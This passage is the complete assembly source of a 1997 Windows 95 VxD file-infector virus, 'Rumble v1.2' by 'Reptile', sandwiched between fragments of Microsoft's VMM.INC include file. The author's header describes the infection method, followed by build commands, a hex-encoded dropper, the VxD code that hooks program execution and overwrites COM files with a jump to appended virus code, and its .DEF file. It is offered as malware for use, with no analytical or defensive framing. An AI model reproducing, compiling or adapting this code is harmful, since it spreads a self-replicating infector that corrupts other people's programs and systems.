EM_Bit EQU 2 TS_Mask EQU 0008h ; 1 = Task Switch occured TS_Bit EQU 3 ET_Mask EQU 0010h ; 1 = 387 present, 0 = 287 present ET_Bit EQU 4 PG_Mask EQU 80000000h ; 1 = paging enabled, 0 = paging disabled PG_Bit EQU 31 ; EFLAGs bit assignments CF_Mask EQU 000000000000000001b ; Carry flag CF_Bit EQU 0 PF_Mask EQU 000000000000000100b ; Parity flag PF_Bit EQU 2 AF_Mask EQU 000000000000010000b ; Aux flag AF_Bit EQU 4 ZF_Mask EQU 000000000001000000b ; Zero flag ZF_Bit EQU 6 SF_Mask EQU 000000000010000000b ; Sign flag SF_Bit EQU 7 TF_Mask EQU 000000000100000000b ; Trace flag TF_Bit EQU 8 IF_Mask EQU 000000001000000000b ; Int flag IF_Bit EQU 9 DF_Mask EQU 000000010000000000b ; Direction flag DB_Bit EQU 10 OF_Mask EQU 000000100000000000b ; Overflow flag OF_Bit EQU 11 IOPL_Mask EQU 000011000000000000b ; IOPL flags IOPL_Bit0 EQU 12 IOPL_Bit1 EQU 13 NT_Mask EQU 000100000000000000b ; Nested task flag NT_Bit EQU 14 RF_Mask EQU 010000000000000000b ; Resume flag RF_Bit EQU 16 VM_Mask EQU 100000000000000000b ; Virtual Mode flag VM_Bit EQU 17 ;------------------------------------------------------------------------------ ; ; Temporary MASM macros (to be removed when supported by MASM) ; ;------------------------------------------------------------------------------ loopd EQU loopde EQU loopdne EQU loopdz EQU loopdnz EQU ;****************************************************************************** ; PAGE TABLE EQUATES ;****************************************************************************** P_SIZE equ 1000h ; page size ; --------------------------------------------------- ; ; Page table entry bits ; ; --------------------------------------------------- P_PRES equ 01h ; page present bit P_PRESBit equ 0 P_WRITE equ 02h ; write access bit P_WRITEBit equ 1 P_USER equ 04h ; access bit for User mode P_USERBit equ 2 P_ACC equ 20h ; page accessed bit P_ACCBit equ 5 P_DIRTY equ 40h ; page dirty bit P_DIRTYBit equ 6 P_AVAIL equ (P_PRES+P_WRITE+P_USER) ; avail to everyone & present ; --------------------------------------------------- ; ; Page types - definition of the OS reserved bits in the page table ; entry. ; --------------------------------------------------- PG_TYPE equ 0E00h ; TYPE bits in PTE ; --------------------------------------------------- ; ; Page types for page allocator calls ; ; --------------------------------------------------- PG_VM equ 0 PG_SYS equ 1 PG_RESERVED1 equ 2 PG_PRIVATE equ 3 PG_RESERVED2 equ 4 PG_RELOCK equ 5 ; PRIVATE to MMGR PG_INSTANCE equ 6 PG_HOOKED equ 7 PG_IGNORE equ 0FFFFFFFFh ; --------------------------------------------------- ; ; Types for page table entries ; ; --------------------------------------------------- PgT_VM equ PG_VM SHL 9 PgT_SYS equ PG_SYS SHL 9 PgT_RESERVED1 equ PG_RESERVED1 SHL 9 PgT_PRIVATE equ PG_PRIVATE SHL 9 PgT_RESERVED2 equ PG_RESERVED2 SHL 9 PgT_RELOCK equ PG_RELOCK SHL 9 PgT_INSTANCE equ PG_INSTANCE SHL 9 PgT_HOOKED equ PG_HOOKED SHL 9 ;****************************************************************************** ; --------------------------------------------------- ; ; Definitions for the access byte in a descriptor ; ; --------------------------------------------------- ; Following fields are common to segment and control descriptors D_PRES equ 080h ; present in memory D_NOTPRES equ 0 ; not present in memory D_DPL0 equ 0 ; Ring 0 D_DPL1 equ 020h ; Ring 1 D_DPL2 equ 040h ; Ring 2 D_DPL3 equ 060h ; Ring 3 D_SEG equ 010h ; Segment descriptor D_CTRL equ 0 ; Control descriptor D_GRAN_BYTE equ 000h ; Segment length is byte granular D_GRAN_PAGE equ 080h ; Segment length is page granular D_DEF16 equ 000h ; Default operation size is 16 bits D_DEF32 equ 040h ; Default operation size is 32 bits ; Following fields are specific to segment descriptors D_CODE equ 08h ; code D_DATA equ 0 ; data D_RX equ 02h ; if code, readable D_X equ 0 ; if code, exec only D_W equ 02h ; if data, writable D_R equ 0 ; if data, read only D_ACCESSED equ 1 ; segment accessed bit ; Useful combination access rights bytes RW_Data_Type equ (D_PRES+D_SEG+D_DATA+D_W) R_Data_Type equ (D_PRES+D_SEG+D_DATA+D_R) Code_Type equ (D_PRES+D_SEG+D_CODE+D_RX) D_PAGE32 equ (D_GRAN_PAGE+D_DEF32) ; 32 bit Page granular ; Masks for selector fields SELECTOR_MASK equ 0fff8h ; selector index SEL_LOW_MASK equ 0f8h ; mask for low byte of sel indx TABLE_MASK equ 04h ; table bit RPL_MASK equ 03h ; privilige bits RPL_CLR equ not 03h ; clear ring bits _ _ _ _ _ / _ _ _ \ / / \ \ /__/ \ | | | | | _ _ _ / | |_ _ _ | \ | | | __ | | \ \ / | \ \ _ _ _ / / __ \ _ _ _ _ _ / |__| Comment @ Ŀ *Rumble* v1.2 - Written by Reptile - 1997 Ĵ Size: 5550 bytes Origin: Switzerland Targets: Com files Type: Vxd com returncode infector Ĵ Infection: When an infected file is run, the dropper portion of the virus drops the vxd portion in the 'c:\windows\system', the 'c:\windows.000\system' or the 'c:\win95\system' dir and loads it in the system.ini. After the next reboot the vxd is in memory and searches for the returncode (L!) of every executed com file. If the returncode is found, the virus overwrites it with a jmp to the end of the file and writes itself behind. Ĵ Note: Some programs won't terminate correct after infection. This virus is a test, it won't survive 1 second in the wild. Mainly because it has got only com infection. And er... it's buggy. Ĵ Compiling: MASM v5.10 (Windoze 3.11 DDK) masm5 -p -w2 vdr.asm link386 vdr.obj,vdr.386,,,vdr.def addhdr vda.386 Ŀ File: VDR.ASM @ .386p .xlist include vmm.inc .list Declare_Virtual_Device VDR, 1, 0, VDR_Control, Undefined_Device_Id, \ Undefined_Init_Order,, VxD_Locked_Data_Seg drop1 db 0E8h, 000h, 000h, 05Dh, 081h, 0EDh, 003h, 001h ;dropper code db 0B8h, 002h, 03Dh, 08Dh, 096h, 0EBh, 001h, 0CDh db 021h, 073h, 019h, 0B8h, 002h, 03Dh, 08Dh, 096h db 001h, 002h, 0CDh, 021h, 073h, 01Dh, 0B8h, 002h db 03Dh, 08Dh, 096h, 01Bh, 002h, 0CDh, 021h, 073h db 021h, 0E9h, 0BBh, 000h, 093h, 053h, 0B8h, 000h db 03Dh, 08Dh, 096h, 02Fh, 002h, 0CDh, 021h, 072h db 01Eh, 0EBh, 0EEh, 093h, 053h, 0B8h, 000h, 03Dh db 08Dh, 096h, 049h, 002h, 0CDh, 021h, 072h, 00Fh db 0EBh, 0DFh, 093h, 053h, 0B8h, 000h, 03Dh, 08Dh db 096h, 067h, 002h, 0CDh, 021h, 073h, 0D2h, 0B4h db 03Ch, 033h, 0C9h, 0CDh, 021h, 093h, 0B4h, 040h db 0B9h, 01Eh, 014h, 08Dh, 096h, 090h, 002h, 0CDh db 021h, 0B4h, 03Eh, 0CDh, 021h, 05Bh, 0B8h, 002h db 042h, 033h, 0C9h, 099h, 0CDh, 021h, 089h, 086h db 0E9h, 001h, 0B8h, 000h, 042h, 033h, 0C9h, 099h db 0CDh, 021h, 0B4h, 03Fh, 0B9h, 001h, 000h, 08Dh,096h, 08Fh, 002h, 0CDh db 021h, 00Bh, 0C0h, 074h db 052h, 080h, 0BEh, 08Fh, 002h, 06Eh, 075h, 0EAh db 0B4h, 03Fh, 0B9h, 002h, 000h, 08Dh, 096h, 08Fh db 002h, 0CDh, 021h, 081h, 0BEh, 08Fh, 002h, 068h db 05Dh, 075h, 0D7h, 0B8h, 001h, 042h, 033h, 0C9h db 099h, 0CDh, 021h, 050h, 029h, 086h, 0E9h, 001h db 08Bh, 08Eh, 0E9h, 001h, 0B4h, 03Fh, 08Dh, 096h db 08Fh, 002h, 0CDh, 021h, 0B8h, 000h, 042h, 033h db 0C9h, 05Ah, 0CDh, 021h, 0B4h, 040h, 0B9h, 010h db 000h, 08Dh, 096h, 07Fh, 002h, 0CDh, 021h, 0B4h db 040h, 08Bh, 08Eh, 0E9h, 001h, 08Dh, 096h, 08Fh db 002h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 0CDh db 020h, 000h, 000h, 063h, 03Ah, 05Ch, 077h, 069h db 06Eh, 064h, 06Fh, 077h, 073h, 05Ch, 073h, 079h db 073h, 074h, 065h, 06Dh, 02Eh, 069h, 06Eh, 069h db 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 064h db 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h, 05Ch db 073h, 079h, 073h, 074h, 065h, 06Dh, 02Eh, 069h db 06Eh, 069h, 000h, 063h, 03Ah, 05Ch, 077h, 069h db 06Eh, 039h, 035h, 05Ch, 073h, 079h, 073h, 074h db 065h, 06Dh, 02Eh, 069h, 06Eh, 069h, 000h ;db 063h ;db 03Ah, 05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h ;db073h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh ;db 05Ch, 076h, 064h, 072h, 02Eh, 033h, 038h, 036h ;db 000h stpl1 db 'c:\windows\system\vdr.386',0 ;db 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 064h ;db 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h, 05Ch ;db 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch, 076h ;db 064h, 072h, 02Eh, 033h, 038h, 036h, 000h stpl2 db 'c:\windows.000\system\vdr.386',0 ;db 063h ;db 03Ah, 05Ch, 077h, 069h, 06Eh, 039h, 035h, 05Ch ;db 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch, 076h ;db 064h, 072h, 02Eh, 033h, 038h, 036h, 000h stpl3 db 'c:\win95\system\vdr.386',0 drop2 db 00Dh ;dropstring db 00Ah, 064h, 065h, 076h, 069h, 063h, 065h, 03Dh ;dropstring db 076h, 064h, 072h, 02Eh, 033h, 038h, 036h, 000h ;dropstring,rbuf ;db 000h, rbuf db ? ;read buffer djmp dw ? ;filesize njmp db 233,0,0 ;jmp to dropper exec db 'win.com' ;don't even open win.com while starting win95 db 9 dup (0) execl dw 8 store dd ? ;place to store the vxd VxD_Locked_Data_Ends VxD_Locked_Code_Seg copyright db 10,13,'*Rumble* v1.2 - Written by Reptile - 1997',10,13 BeginProc VDR_Device_Init mov eax,3d22h ;open vxd lea edx,stpl1 ;in the 'c:\windows\system' dir vxdint 21h jnc short rd mov eax,3d22h ;open vxd lea edx,stpl2 ;in the 'c:\windows.000\system' dir vxdint 21h jnc short rd mov eax,3d22h ;open vxd lea edx,stpl3 ;in the 'c:\win95\system' dir vxdint 21h jc short e ;skip it rd: xchg eax,ebx mov eax,3f00h ;store the vxd mov ecx,5150 lea edx,store vxdint 21h jc short e ;skip it mov eax,3e00h vxdint 21h mov eax,21h ;install int 21h handler mov esi,offset32 int_21hnd VMMcall Hook_V86_Int_Chain e: clc ret EndProc VDR_Device_Init BeginProc int_21hnd cmp [ebp.Client_AX],4b00h ;exec? jne reflect_21h Push_Client_State VMMcall Begin_Nest_Exec movzx edx,[ebp.Client_DS] shl edx,4 movzx eax,[ebp.Client_DX] add edx,eax add edx,[ebx.CB_High_Linear] push edi ;from JHB of iKx mov edi,edx mov ecx,128 mov al,0 ;(?) repne scasb dec edi w1: dec edi cmp byte ptr [edi],'\' je short w2 cmp byte ptr [edi],'/' je short w2 cmp byte ptr [edi],':' je short w2 cmp edi,edx jb short w2 jmp short w1 w2: inc edi mov esi,offset32 [exec] ;check if win.com movzx ecx,[execl] repe cmpsb pop edi jz exit mov eax,3d22h ;open file vxdint 21h jc exit xchg eax,ebx mov eax,3f00h ;check if its a com file mov ecx,2 lea edx,rbuf vxdint 21h cmp word ptr [rbuf],'ZM' je cfile ;mov eax,3f00h ;check if its a test file ;mov ecx,2 ;lea edx,rbuf ;vxdint 21h ;cmp word ptr [rbuf],'ER' ;jne cfile ;mov eax,4200h ;xor ecx,ecx ;xor edx,edx ;vxdint 21h ;search for returncode ('L') rfile: mov eax,3f00h mov ecx,1 lea edx,rbuf vxdint 21h or eax,eax ;or ax,ax je cfile cmp [rbuf],'' jne rfile mov eax,3f00h mov ecx,2 lea edx,rbuf vxdint 21h cmp word ptr [rbuf],'L' jne rfile ;calculate jmp to dropper mov eax,4201h xor ecx,ecx xor edx,edx vxdint 21h push eax ;save offset mov eax,4202h xor ecx,ecx xor edx,edx vxdint 21h mov [djmp],ax mov eax,4000h ;write dropper mov ecx,303 lea edx,drop1 vxdint 21h mov eax,4000h ;write stpl1 mov ecx,26 lea edx,stpl1 vxdint 21h mov eax,4000h ;write stpl2 mov ecx,30 lea edx,stpl2 vxdint 21h mov eax,4000h ;write stpl3 mov ecx,24 lea edx,stpl3 vxdint 21h mov eax,4000h ;write second part of dropper mov ecx,17 lea edx,drop2 vxdint 21h mov eax,4000h ;write vxd mov ecx,5150 lea edx,store vxdint 21h pop eax push eax sub [djmp],ax ;[] pop eax sub eax,3 ;goto begin of jmp mov edx,eax mov eax,4200h xor ecx,ecx vxdint 21h mov ax,[djmp] ;write jmp ;sub ax,5547 mov word ptr [njmp + 1],ax mov eax,4000h mov ecx,3 lea edx,njmp vxdint 21h cfile: mov eax,3e00h vxdint 21h exit: VMMcall End_Nest_Exec Pop_Client_State reflect_21h: stc ret EndProc int_21hnd BeginProc VDR_Control Control_Dispatch Init_Complete,VDR_Device_Init clc ret EndProc VDR_Control VxD_Locked_Code_Ends VxD_Real_Init_Seg BeginProc VDR_Real_Mode_Init xor bx,bx xor si,si mov ax,Device_Load_Ok ret EndProc VDR_Real_Mode_Init VxD_Real_Init_Ends End Ŀ File: VDR.DEF library VDR description '*Rumble*' exetype dev386 segments _ltext preload nondiscardable _ldata preload nondiscardable _itext class 'icode' discardable _idata class 'icode' discardable _text class 'pcode' nondiscardable _data class 'pcode' nondiscardable exports VDR_DDB @1 Ŀ File: VMM.INC ;****************************************************************************** ; ; (C) Copyright MICROSOFT Corp., 1988-1990 ; ; Title: VMM.INC - Include file for Virtual Machine Manager ; ; Version: 1.00 ; ; Date: 05-May-1988 ; ; Author: RAL ; ;------------------------------------------------------------------------------ ; ; Change log: ; ; DATE REV DESCRIPTION ; ----------- --- ----------------------------------------------------------- ; 05-May-1988 RAL Original ; ;============================================================================== ; NON Windows/386 Virtual Device sources can include this file to get some ; useful equates by declaring the symbol "Not_VxD" If this symbol is defined, ; then everything that has to do with the specifics of the 32 bit environment ; for virtual devices is removed. Useful equates include: device ID's, pushad ; structure, BeginDoc/EndDoc/BeginMsg/EndMsg equates, page table equates, etc. False EQU 0 True EQU NOT False ; ; These null macros are recognized by a utility program that produces ; documentation files. ; BeginDoc EQU <> EndDoc EQU <> BeginMsg EQU <> EndMsg EQU <> BeginDoc ;****************************************************************************** ; ; EQUATES FOR REQUIRED DEVICES ; ;============================================================================== Undefined_Device_ID EQU 00000h VMM_Device_ID EQU 00001h ; Used for dynalink table Debug_Device_ID EQU 00002h VPICD_Device_ID EQU 00003h VDMAD_Device_ID EQU 00004h VTD_Device_ID EQU 00005h V86MMGR_Device_ID EQU 00006h PageSwap_Device_ID EQU 00007h Parity_Device_ID EQU 00008h Reboot_Device_ID EQU 00009h VDD_Device_ID EQU 0000Ah VSD_Device_ID EQU 0000Bh VMD_Device_ID EQU 0000Ch VKD_Device_ID EQU 0000Dh VCD_Device_ID EQU 0000Eh VPD_Device_ID EQU 0000Fh BlockDev_Device_ID EQU 00010h VMCPD_Device_ID EQU 00011h EBIOS_Device_ID EQU 00012h BIOSXlat_Device_ID EQU 00013h VNETBIOS_Device_ID EQU 00014h DOSMGR_Device_ID EQU 00015h WINLOAD_Device_ID EQU 00016h SHELL_Device_ID EQU 00017h VMPoll_Device_ID EQU 00018h VPROD_Device_ID EQU 00019h DOSNET_Device_ID EQU 0001Ah VFD_Device_ID EQU 0001Bh VDD2_Device_ID EQU 0001Ch ; Secondary display adapter WINDEBUG_Device_ID EQU 0001Dh TSRLoad_Device_ID EQU 0001Eh ; TSR instance utility ID BiosHook_Device_ID EQU 0001Fh ; Bios interrupt hooker VxD Int13_Device_ID EQU 00020h PageFile_Device_ID EQU 00021h ; Paging File device SCSI_Device_ID EQU 00022h ; SCSI device MCA_POS_Device_ID EQU 00023h ; MCA_POS device SCSIFD_Device_ID EQU 00024h ; SCSI FastDisk device VPEND_Device_ID EQU 00025h ; Pen device APM_Device_ID EQU 00026h ; Power Management device ; ; Initialization order equates. Devices are initialized in order from ; LOWEST to HIGHEST. If 2 or more devices have the same initialization ; order value, then they are initialized in order of occurance, so a ; specific order is not guaranteed. Holes have been left to allow maximum ; flexibility in ordering devices. ; VMM_Init_Order EQU 000000000h APM_Init_Order EQU 001000000h Debug_Init_Order EQU 004000000h BiosHook_Init_Order EQU 006000000h VPROD_Init_Order EQU 008000000h VPICD_Init_Order EQU 00C000000h VTD_Init_Order EQU 014000000h PageFile_Init_Order EQU 018000000h PageSwap_Init_Order EQU 01C000000h Parity_Init_Order EQU 020000000h Reboot_Init_Order EQU 024000000h EBIOS_Init_Order EQU 026000000h VDD_Init_Order EQU 028000000h VSD_Init_Order EQU 02C000000h VCD_Init_Order EQU 030000000h VMD_Init_Order EQU 034000000h VKD_Init_Order EQU 038000000h VPD_Init_Order EQU 03C000000h BlockDev_Init_Order EQU 040000000h MCA_POS_Init_Order EQU 041000000h SCSIFD_Init_Order EQU 041400000h SCSIMaster_Init_Order EQU 041800000h Int13_Init_Order EQU 042000000h VFD_Init_Order EQU 044000000h VMCPD_Init_Order EQU 048000000h BIOSXlat_Init_Order EQU 050000000h VNETBIOS_Init_Order EQU 054000000h DOSMGR_Init_Order EQU 058000000h DOSNET_Init_Order EQU 05C000000h WINLOAD_Init_Order EQU 060000000h VMPoll_Init_Order EQU 064000000h Undefined_Init_Order EQU 080000000h WINDEBUG_Init_Order EQU 081000000h VDMAD_Init_Order EQU 090000000h V86MMGR_Init_Order EQU 0A0000000h Undef_Touch_Mem_Init_Order EQU 0A8000000h ; Device that must touch ; memory in 1st Mb at ; crit init (after V86mmgr) SHELL_Init_Order EQU 0B0000000h EndDoc ;****************************************************************************** ; ; Macro to cause a delay in between I/O accesses to the same device. ; ;------------------------------------------------------------------------------ IO_Delay macro jmp $+2 ENDM Pushad_Struc STRUC Pushad_EDI dd ? ; Client's EDI Pushad_ESI dd ? ; Client's ESI Pushad_EBP dd ? ; Client's EBP Pushad_ESP dd ? ; ESP at pushall Pushad_EBX dd ? ; Client's EBX Pushad_EDX dd ? ; Client's EDX Pushad_ECX dd ? ; Client's ECX Pushad_EAX dd ? ; Client's EAX Pushad_Struc ENDS IFNDEF Not_VxD ??_CUR_CODE_SEG = 0 ??_CODE = 1 ??_ICODE = 2 ??_LCODE = 3 ??_RCODE = 4 ?_CODE equ <(??_CUR_CODE_SEG MOD 8) - ??_CODE> ?_ICODE equ <(??_CUR_CODE_SEG MOD 8) - ??_ICODE> ?_LCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_LCODE> ?_RCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_RCODE> ; ; SEGMENT definitions and order ; ;* 32 Bit locked code _LTEXT SEGMENT DWORD USE32 PUBLIC 'CODE' _LTEXT ENDS ;* 32 Bit code _TEXT SEGMENT DWORD USE32 PUBLIC 'PCODE' _TEXT ENDS ;* 32 Bit initialization code _ITEXT SEGMENT DWORD USE32 PUBLIC 'ICODE' _ITEXT ENDS ;* Contains 32 Bit locked data _LDATA SEGMENT DWORD PUBLIC 'CODE' _LDATA ENDS ;* Contains 32 Bit data _DATA SEGMENT DWORD PUBLIC 'PCODE' _DATA ENDS ;* Contains 32 Bit initialization data _IDATA SEGMENT DWORD PUBLIC 'ICODE' _IDATA ENDS ;* Real Mode initialization code/data for devices _RCODE SEGMENT WORD USE16 PUBLIC 'RCODE' _RCODE ENDS _LGROUP GROUP _LTEXT, _LDATA _PGROUP GROUP _TEXT, _DATA _IGROUP GROUP _ITEXT, _IDATA ASSUME CS:FLAT, DS:FLAT, ES:FLAT, SS:FLAT OFFSET32 EQU BeginDoc ;============================================================================== ; The following macros are used in defining the routines ; in a VxD which are going to be registered with VMM as callable entry ; points. Once registered, the entry points can be called by any other ; devices via the "VxDCall" macro, defined below. In the comments below, ; replace "VxD" with the appropriate device name. ; ;******* ; In the VxD.INC file, put the following lines, replacing ; with an appropriate name describing the function of the routine. ; ; Begin_Service_Table VxD[,] ; VxD_Service [,] ; VxD_Service [,] ; . . . ; VxD_Service [,] ; End_Service_Table VxD[,] ; ; Note that is an optional argument and, if specified, the ; table is put in the segment defined by the macro "yyy_Data_Seg", ; where yyy=segname. Otherwise the segment is defined by the ; "VxD_Data_Seg" macro, defined below. ; Note that is an optional argument and, if specified, ; the procedure's segment is defined by the macro "zzz_Code_Seg", ; where zzz=segname. Otherwise the segment is defined by the ; "VxD_Code_Seg" macro, defined below. ; ;******* ; One VxD module should have the following in order to define the entry points: ;Create_VxD_Service_Table = 1 ; Only in module where table is ; INCLUDE VxD.INC ; Include the table definition ; ;******* ; All modules that want to call the services defined in the table should include ; VxD.INC, but not define the label "Create_VxD_Service_Table". This ; will define the service names to be used with the VxDCall macro. ; EndDoc Begin_Service_Table MACRO Device_Name, Def_Segment IFB BST2 Device_Name, VxD ELSE BST2 Device_Name, Def_Segment ENDIF ENDM BST2 MACRO Device_Name, Def_Segment Num_&Device_Name&_Services = 0 IFDEF Create_&Device_Name&_Service_Table Def_Segment&_LOCKED_DATA_SEG Device_Name&_Service_Table LABEL DWORD Device_Name&_Service MACRO Procedure, Local_Seg, Condition LOCAL $$&&Procedure IFNB $$&&Procedure MACRO extern IFDEF &Condition IFNB EXTRN @&&Procedure:NEAR ELSE dd OFFSET32 @&&Procedure ENDIF ELSE IFB dd 0 ENDIF ENDIF ENDM ENDIF IFDIFI , PUBLIC $&&Procedure IF1 $&&Procedure LABEL DWORD ENDIF IFDIFI , IFNB Local_Seg&&_SEG ELSE Def_Segment&_CODE_SEG ENDIF IFNB $$&&Procedure extern ELSE EXTRN @&&Procedure:NEAR ENDIF IFNB Local_Seg&&_ENDS ELSE Def_Segment&_CODE_ENDS ENDIF ENDIF IFNB $$&&Procedure ELSE dd OFFSET32 @&&Procedure ENDIF Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services ELSE dd 0 ENDIF Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1 IFNB Purge $$&&Procedure ENDIF ENDM ELSE Device_Name&_Service MACRO Procedure IFDIFI , Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services ENDIF Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1 ENDM ENDIF ENDM ;------------------------------------------------------------------------------ End_Service_Table MACRO Device_Name, Def_Segment PURGE Device_Name&_Service IFDEF Create_&Device_Name&_Service_Table IFB VxD_LOCKED_DATA_ENDS ELSE Def_Segment&_LOCKED_DATA_ENDS ENDIF ENDIF ENDM ;****************************************************************************** ; ; Dword_Align -- Aligns code to dword boundry by inserting nops ; ;------------------------------------------------------------------------------ Dword_Align MACRO Seg_Name LOCAL segn IFNB segn equ Seg_Name ELSE IFE ?_CODE segn equ <_TEXT> ELSE IFE ?_ICODE segn equ <_ITEXT> ELSE IFE ?_LCODE segn equ <_LTEXT> ELSE .err Dword_Align not supported ENDIF ENDIF ENDIF ENDIF IF (($-OFFSET segn:0) MOD 4) db 4 - (($-OFFSET segn:0) MOD 4) DUP (90h) ENDIF ENDM BeginDoc ;****************************************************************************** ; ; Fatal_Error ; ; DESCRIPTION: ; This macro is used to crash Windows/386 when an unrecoverable error ; is detected. If Msg_Ptr is ommitted then no error message will be ; displayed, otherwise Msg_Ptr is the address ; when the ; ; PARAMETERS: ; Msg_Ptr (OPTIONAL) - Points to an ASCIIZ string to display. ; ; EXIT: ; To DOS (hopefully). This macro never returns. ; ;============================================================================== EndDoc Fatal_Error MACRO Msg_Ptr, Exit_Flags pushad IFB xor esi, esi ELSE mov esi, Msg_Ptr IFB xor eax, eax ELSE mov eax, Exit_Flags ENDIF ENDIF VMMcall Fatal_Error_Handler ENDM EF_Hang_On_Exit EQU 1h ;****************************************************************************** ;============================================================================== ;------------------------------------------------------------------------------ BeginDoc ;****************************************************************************** ; The following are control block offsets of items that can be of interest ; to VxDs. ;******* ; VM status indicates globally interesting VM states CB_VM_Status EQU DWORD PTR 00h VMStat_Exclusive EQU 000000000000000000001b ; VM is exclusive mode VMStat_Exclusive_Bit EQU 0 VMStat_Background EQU 000000000000000000010b ; VM runs in background VMStat_Background_Bit EQU 1 VMStat_Creating EQU 000000000000000000100b ; In process of creating VMStat_Creating_Bit EQU 2 VMStat_Suspended EQU 000000000000000001000b ; VM not scheduled VMStat_Suspended_Bit EQU 3 VMStat_Not_Executeable EQU 000000000000000010000b ; VM partially destroyed VMStat_Not_Executeable_Bit EQU 4 VMStat_PM_Exec EQU 000000000000000100000b ; Currently in PM app VMStat_PM_Exec_Bit EQU 5 VMStat_PM_App EQU 000000000000001000000b ; PM app present in VM VMStat_PM_App_Bit EQU 6 VMStat_PM_Use32 EQU 000000000000010000000b ; PM app is 32-bit VMStat_PM_Use32_Bit EQU 7 VMStat_VxD_Exec EQU 000000000000100000000b ; Call from VxD VMStat_VxD_Exec_Bit EQU 8 VMStat_High_Pri_Back EQU 000000000001000000000b ; High pri background VMStat_High_Pri_Back_Bit EQU 9 VMStat_Blocked EQU 000000000010000000000b ; Blocked on semaphore VMStat_Blocked_Bit EQU 0Ah VMStat_Awakening EQU 000000000100000000000b ; Woke up after blocked VMStat_Awakening_Bit EQU 0Bh VMStat_PageableV86 EQU 000000001000000000000b ; part of V86 is pageable (PM app) VMStat_PageableV86Bit EQU 0Ch VMStat_V86IntsLocked EQU 000000010000000000000b ; Rest of V86 is locked VMStat_V86IntsLockedBit EQU 0Dh ; regardless of pager type VMStat_TS_Sched EQU 000000100000000000000b ; Scheduled by time-slicer VMStat_TS_Sched_Bit EQU 0Eh VMStat_Idle EQU 000001000000000000000b ; VM has released time VMStat_Idle_Bit EQU 0Fh ; slice VMStat_Closing EQU 000010000000000000000b ; Close_VM called for VM VMStat_Closing_Bit EQU 10h VMStat_Use32_Mask EQU VMStat_PM_Use32 OR VMStat_VxD_Exec ;******* ; Add this value to a V86 linear address to get address of VM's memory in ; the VMM linear address space CB_High_Linear EQU DWORD PTR 04h ;******* CB_Client_Pointer EQU DWORD PTR 08h CB_VMID EQU DWORD PTR 0Ch ; ; Equates for protected mode application control blocks ; PMCB_Flags EQU DWORD PTR 00h PMCB_Parent EQU DWORD PTR 04h EndDoc ;****************************************************************************** ; V M M S E R V I C E S ;****************************************************************************** Begin_Service_Table VMM, VMM VMM_Service Get_VMM_Version, LOCAL ; MUST REMAIN SERVICE 0! VMM_Service Get_Cur_VM_Handle VMM_Service Test_Cur_VM_Handle VMM_Service Get_Sys_VM_Handle VMM_Service Test_Sys_VM_Handle VMM_Service Validate_VM_Handle VMM_Service Get_VMM_Reenter_Count VMM_Service Begin_Reentrant_Execution VMM_Service End_Reentrant_Execution VMM_Service Install_V86_Break_Point VMM_Service Remove_V86_Break_Point VMM_Service Allocate_V86_Call_Back VMM_Service Allocate_PM_Call_Back VMM_Service Call_When_VM_Returns VMM_Service Schedule_Global_Event VMM_Service Schedule_VM_Event VMM_Service Call_Global_Event VMM_Service Call_VM_Event VMM_Service Cancel_Global_Event VMM_Service Cancel_VM_Event VMM_Service Call_Priority_VM_Event VMM_Service Cancel_Priority_VM_Event VMM_Service Get_NMI_Handler_Addr VMM_Service Set_NMI_Handler_Addr VMM_Service Hook_NMI_Event VMM_Service Call_When_VM_Ints_Enabled VMM_Service Enable_VM_Ints VMM_Service Disable_VM_Ints VMM_Service Map_Flat VMM_Service Map_Lin_To_VM_Addr ; ; Scheduler services ; VMM_Service Adjust_Exec_Priority VMM_Service Begin_Critical_Section VMM_Service End_Critical_Section VMM_Service End_Crit_And_Suspend VMM_Service Claim_Critical_Section VMM_Service Release_Critical_Section VMM_Service Call_When_Not_Critical VMM_Service Create_Semaphore VMM_Service Destroy_Semaphore VMM_Service Wait_Semaphore VMM_Service Signal_Semaphore VMM_Service Get_Crit_Section_Status VMM_Service Call_When_Task_Switched VMM_Service Suspend_VM VMM_Service Resume_VM VMM_Service No_Fail_Resume_VM VMM_Service Nuke_VM VMM_Service Crash_Cur_VM VMM_Service Get_Execution_Focus VMM_Service Set_Execution_Focus VMM_Service Get_Time_Slice_Priority VMM_Service Set_Time_Slice_Priority VMM_Service Get_Time_Slice_Granularity VMM_Service Set_Time_Slice_Granularity VMM_Service Get_Time_Slice_Info VMM_Service Adjust_Execution_Time VMM_Service Release_Time_Slice VMM_Service Wake_Up_VM VMM_Service Call_When_Idle VMM_Service Get_Next_VM_Handle ; ; Time-out and system timer services ; VMM_Service Set_Global_Time_Out VMM_Service Set_VM_Time_Out VMM_Service Cancel_Time_Out VMM_Service Get_System_Time VMM_Service Get_VM_Exec_Time VMM_Service Hook_V86_Int_Chain VMM_Service Get_V86_Int_Vector VMM_Service Set_V86_Int_Vector VMM_Service Get_PM_Int_Vector VMM_Service Set_PM_Int_Vector VMM_Service Simulate_Int VMM_Service Simulate_Iret VMM_Service Simulate_Far_Call VMM_Service Simulate_Far_Jmp VMM_Service Simulate_Far_Ret VMM_Service Simulate_Far_Ret_N VMM_Service Build_Int_Stack_Frame VMM_Service Simulate_Push VMM_Service Simulate_Pop ; ; Heap Manager ; VMM_Service _HeapAllocate VMM_Service _HeapReAllocate VMM_Service _HeapFree VMM_Service _HeapGetSize ; --------------------------------------------------- ; ; Flags for heap allocator calls ; ; --------------------------------------------------- HeapZeroInit equ 00000000000000000000000000000001B HeapZeroReInit equ 00000000000000000000000000000010B HeapNoCopy equ 00000000000000000000000000000100B ; NOTE: HIGH 8 BITS (bits 24-31) are reserved ; ; Page Manager ; VMM_Service _PageAllocate VMM_Service _PageReAllocate VMM_Service _PageFree VMM_Service _PageLock VMM_Service _PageUnLock VMM_Service _PageGetSizeAddr 